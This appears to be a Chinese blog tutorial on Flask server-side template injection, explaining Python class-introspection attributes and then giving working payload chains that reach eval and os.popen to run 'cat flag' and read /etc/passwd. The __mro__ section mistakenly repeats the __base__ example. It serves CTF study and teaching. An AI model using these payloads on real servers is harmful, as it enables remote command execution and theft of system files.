flask_ssti

本文最后更新于 2025年1月23日 下午

解释

1
2
3
4
5
6
7
__class__ 返回类型所属的对象
__mro__返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析,这里也就是class返回的对象所属的类。
__base__返回该对象所继承的基类,这里也就是class返回的对象所属的类。
__subclasses__返回基类中的所有子类,每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__globals__对包含函数全局变量的字典的引用,里面包括
get_flashed_messages() 返回在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

__class__

1
__class__是类中的一个内置属性,值是该实例的对应的类。这里使用的是''.__class__,得到的则是空字符串对应的类,也就是字符类。这样操作的意义是将我们现在操作的对象切换到类上面去,这样才能进行之后继承与被继承的操作,所以这里可以选用其他数据类型再来调用__class__属性,效果是一样的(例如[].__class__、{}.__class__、True.__class等)。
1
2
s = "Hello"
print(s.__class__)

在这个例子中,s 是一个字符串对象,s.__class__ 将返回 str

__mro__

1
2
3
4
5
6
class A:
pass
class B(A):
pass

print(B.__base__)

这里 B.__base__ 将返回 A 类,因为 B 直接继承自 A

__base__

1
2
3
4
5
6
class A:
pass
class B(A):
pass

print(B.__base__)

这里 B.__base__ 将返回 A 类,因为 B 直接继承自 A

__globals__

  • 定义__globals__ 是一个属性,它返回一个包含函数或方法所在模块的全局变量的字典。对于函数和方法,它提供了对全局命名空间的访问。

  • 示例

    1
    2
    3
    4
    5
    def func():
    x = 10
    print(func.__globals__)

    func()

    这里func.__globals__将返回一个包含当前模块的全局变量的字典,包括func函数本身,以及其他全局变量,如内置函数和导入的模块。

使用

查找基类object在第几个

1
"".__class__.__bases__

查看基类下的所有子类

1
"".__class__.__bases__[0].__subclasses__()

使用脚本查看指定子类的索引

ssti.py

查看是否存在__builtins__(索引为134)

1
[].__class__.__base__.__subclasses__()[134].__init__.__globals__

返回如 '__builtins__': {'__name__': 'builtins'

存在则查看eval函数

1
[].__class__.__base__.__subclasses__()[134].__init__.__globals__[%27__builtins__%27]

返回'eval': <built-in function eval>

执行eval导入os模块并查找flag

1
[].__class__.__base__.__subclasses__()[134].__init__.__globals__[%27__builtins__%27].eval("__import__(%27os%27).popen(%27cat%20flag%27).read()")

**.popen().read()**合用可以回显,使用system()只返回整型0或1

  • Payload: {{ config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read() }}

flask_ssti
http://page.ccnyy.top/2025/01/21/flask_ssti/
作者
ccnyy
发布于
2025年1月21日
更新于
2025年1月23日
许可协议